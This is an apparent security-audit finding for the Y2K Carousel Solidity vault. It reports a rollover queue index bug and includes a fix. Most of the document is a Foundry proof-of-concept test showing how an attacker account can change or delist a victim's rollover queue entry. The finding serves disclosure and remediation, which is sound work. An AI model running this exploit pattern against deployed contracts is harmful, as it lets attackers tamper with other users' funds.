pfapostol

high

# Incorrect rollover index accounting

## Summary

Incorrect rollover index accounting

## Vulnerability Detail

Function `enlistInRollover` is vulnerable due to incorrect queue index accounting. Whenever user call `enlistInRollover` `ownerToRollOverQueueIndex` replaced by the length of the `rolloverQueue`. So `ownerToRollOverQueueIndex` always point to the last index even if another user already add his `QueueItem`.

## Impact

Basically, attacker can control any user `QueueItem`.
1. Attacker can modify victim's `QueueItem` by calling `enlistInRollover`
2. Attacket can delete victim's `QueueItem` by calling `delistInRollover`

Also, this vulnerability can cause "honest" user to lose control of his `QueueItem`

## Code Snippet

- [link](https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L252-L268)

```solidity
// check if user has already queued up a rollover
if (ownerToRollOverQueueIndex[_receiver] != 0) {
    // if so, update the queue
    uint256 index = getRolloverIndex(_receiver);
    rolloverQueue[index].assets = _assets;
    rolloverQueue[index].epochId = _epochId;
} else {
    // if not, add to queue
    rolloverQueue.push(
        QueueItem({
            assets: _assets,
            receiver: _receiver,
            epochId: _epochId
        })
    );
}
ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
```

## Tool used

Manual Review

## PoC:
### NOTE: setup basically from an existing e2e test

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Helper.sol";
import "../../src/v2/Carousel/Carousel.sol";
import "../../src/v2/libraries/CarouselCreator.sol";
import "../../src/v2/Carousel/CarouselFactory.sol";
import "../../src/v2/interfaces/ICarousel.sol";
import "../../src/v2/VaultV2.sol";
import "../../src/v2/TimeLock.sol";
import "../../src/v2/Controllers/ControllerPeggedAssetV2.sol";

contract CarouselAudit is Helper {
    using stdStorage for StdStorage;

    event Gap();

    // VaultV2 vaultv2;
    CarouselFactory factory;
    Carousel vault;
    ControllerPeggedAssetV2 controller;

    address public premium;
    address public collateral;
    uint256 public marketId;

    uint40 public begin;
    uint40 public end;
    uint40 public nextEpochBegin;
    uint40 public nextEpochEnd;

    uint16 public fee;

    uint256 public premiumEmissions;
    uint256 public collatEmissions;

    uint256 public epochId;
    uint256 public nextEpochId;

    address relayer = address(0x55);
    address emissionsToken;
    uint256 relayerFee = 2 gwei;
    uint256 depositFee = 50;
    address USER3 = address(0x123);
    address USER4 = address(0x345);
    address USER5 = address(0x567);
    address USER6 = address(0x789);

    function setUp() public {
        vm.label(USER, "USER_1");
        vm.label(USER2, "USER_2");

        vm.warp(1675884389);

        emissionsToken = address(new MintableToken("Emissions Token", "EMT"));
        UNDERLYING = address(new MintableToken("UnderLyingToken", "utkn"));

        TimeLock timelock = new TimeLock(ADMIN);

        factory = new CarouselFactory(
            WETH,
            TREASURY,
            address(timelock),
            emissionsToken
        );

        controller = new ControllerPeggedAssetV2(
            address(factory),
            ARBITRUM_SEQUENCER,
            TREASURY
        );
        factory.whitelistController(address(controller));

        relayerFee = 2 gwei;
        depositFee = 50; // 0,5%

        string memory name = string("USD Coin");
        string memory symbol = string("USDC");

        (premium, collateral, marketId) = factory.createNewCarouselMarket(
            CarouselFactory.CarouselMarketConfigurationCalldata(
                USDC_TOKEN,
                STRIKE,
                USDC_CHAINLINK,
                UNDERLYING,
                name,
                symbol,
                address(controller),
                relayerFee,
                depositFee
            )
        );

        begin = uint40(block.timestamp - 5 days);
        end = uint40(block.timestamp - 3 days);
        fee = uint16(50); //0,5%
        premiumEmissions = 1000 ether;
        collatEmissions = 100 ether;

        vm.startPrank(TREASURY);

        MintableToken(emissionsToken).mint(address(TREASURY), 5000);
        MintableToken(emissionsToken).approve(address(factory), 5000 ether);

        vm.stopPrank();

        (epochId, ) = factory.createEpochWithEmissions(
            marketId,
            begin,
            end,
            fee,
            premiumEmissions,
            collatEmissions
        );

        //deploy second epoch
        nextEpochBegin = uint40(block.timestamp - 10 hours);
        nextEpochEnd = uint40(block.timestamp - 5 hours);

        (nextEpochId, ) = factory.createEpochWithEmissions(
            marketId,
            nextEpochBegin,
            nextEpochEnd,
            fee,
            premiumEmissions,
            collatEmissions
        );

        // deal(UNDERLYING, address(this), 100 ether, true);

        deal(UNDERLYING, USER, 1000 ether, true);
        deal(UNDERLYING, USER2, 1000 ether, true);
    }

    function test_POC_modify() public {
        deposit(USER, 2 ether, 10 ether, epochId);
        deposit(USER2, 0 ether, 2 ether, epochId);

        // Carousel(premium).balanceOf(USER, epochId);
        // Carousel(premium).balanceOf(USER2, epochId);
        // Carousel(collateral).balanceOf(USER, epochId);
        // Carousel(collateral).balanceOf(USER2, epochId);

        enlistInRolloverColl(USER, epochId, relayerFee);
        enlistInRolloverColl(USER2, epochId, relayerFee + 100_000);
        enlistInRolloverColl(USER, epochId, relayerFee);

        Carousel(collateral).getRolloverIndex(USER2);
        Carousel(collateral).getRolloverBalance(USER2);

        // @audit Change victim's(USER2) assets
        enlistInRolloverColl(USER, epochId, (((2 ether) * 994) / 1000));

        Carousel(collateral).getRolloverIndex(USER);
        Carousel(collateral).getRolloverBalance(USER);
        Carousel(collateral).getRolloverIndex(USER2);
        Carousel(collateral).getRolloverBalance(USER2);

        vm.warp(end + 1 days);

        controller.triggerEndEpoch(marketId, epochId);

        Carousel(collateral).mintRollovers(nextEpochId, 2);
    }

    function test_POC_delete() public {
        deposit(USER, 2 ether, 10 ether, epochId);
        deposit(USER2, 0 ether, 2 ether, epochId);

        // Carousel(premium).balanceOf(USER, epochId);
        // Carousel(premium).balanceOf(USER2, epochId);
        // Carousel(collateral).balanceOf(USER, epochId);
        // Carousel(collateral).balanceOf(USER2, epochId);

        enlistInRolloverColl(USER, epochId, relayerFee);
        enlistInRolloverColl(USER2, epochId, relayerFee + 100_000);
        enlistInRolloverColl(USER, epochId, relayerFee);

        Carousel(collateral).getRolloverIndex(USER2);
        Carousel(collateral).getRolloverBalance(USER2);

        Carousel(collateral).getRolloverIndex(USER);
        Carousel(collateral).getRolloverQueueLenght();
        // @audit delist victim(USER2) from rolloverQueue
        vm.prank(USER);
        Carousel(collateral).delistInRollover(USER);

        // @audit Revert because index does not exist anymore
        Carousel(collateral).getRolloverIndex(USER2);
        vm.expectRevert();
        Carousel(collateral).getRolloverBalance(USER2);

        vm.warp(end + 1 days);

        controller.triggerEndEpoch(marketId, epochId);

        Carousel(collateral).mintRollovers(nextEpochId, 2);
    }

    function deposit(
        address _user,
        uint256 _premAmount,
        uint256 _collAmoint,
        uint256 _epochId
    ) internal {
        vm.startPrank(_user);

        //warp to deposit period
        vm.warp(begin - 1 days);

        if (_premAmount > 0) {
            //approve ether deposit
            IERC20(UNDERLYING).approve(premium, _premAmount);
            //deposit in carousel vaults
            Carousel(premium).deposit(_epochId, _premAmount, _user);
        }

        if (_collAmoint > 0) {
            //approve ether deposit
            IERC20(UNDERLYING).approve(collateral, _collAmoint);
            //deposit in carousel vaults
            Carousel(collateral).deposit(_epochId, _collAmoint, _user);
        }

        vm.stopPrank();
        emit Gap();
        emit Gap();
        emit Gap();
    }

    function enlistInRolloverColl(
        address _user,
        uint256 _epochId,
        uint256 _amount
    ) internal {
        vm.prank(_user);
        Carousel(collateral).enlistInRollover(_epochId, _amount, _user);

        Carousel(collateral).getRolloverIndex(_user);
        Carousel(collateral).getRolloverBalance(_user);
        emit Gap();
        emit Gap();
        emit Gap();
    }
}

```

## Recommendation

Update index only on QueueItem push

```solidity
if (ownerToRollOverQueueIndex[_receiver] != 0) {
    // if so, update the queue
    uint256 index = getRolloverIndex(_receiver);
    rolloverQueue[index].assets = _assets;
    rolloverQueue[index].epochId = _epochId;
} else {
    // if not, add to queue
    rolloverQueue.push(
        QueueItem({
            assets: _assets,
            receiver: _receiver,
            epochId: _epochId
        })
    );
    ownerToRollOverQueueIndex[_receiver] = rolloverQueue.length;
}
```
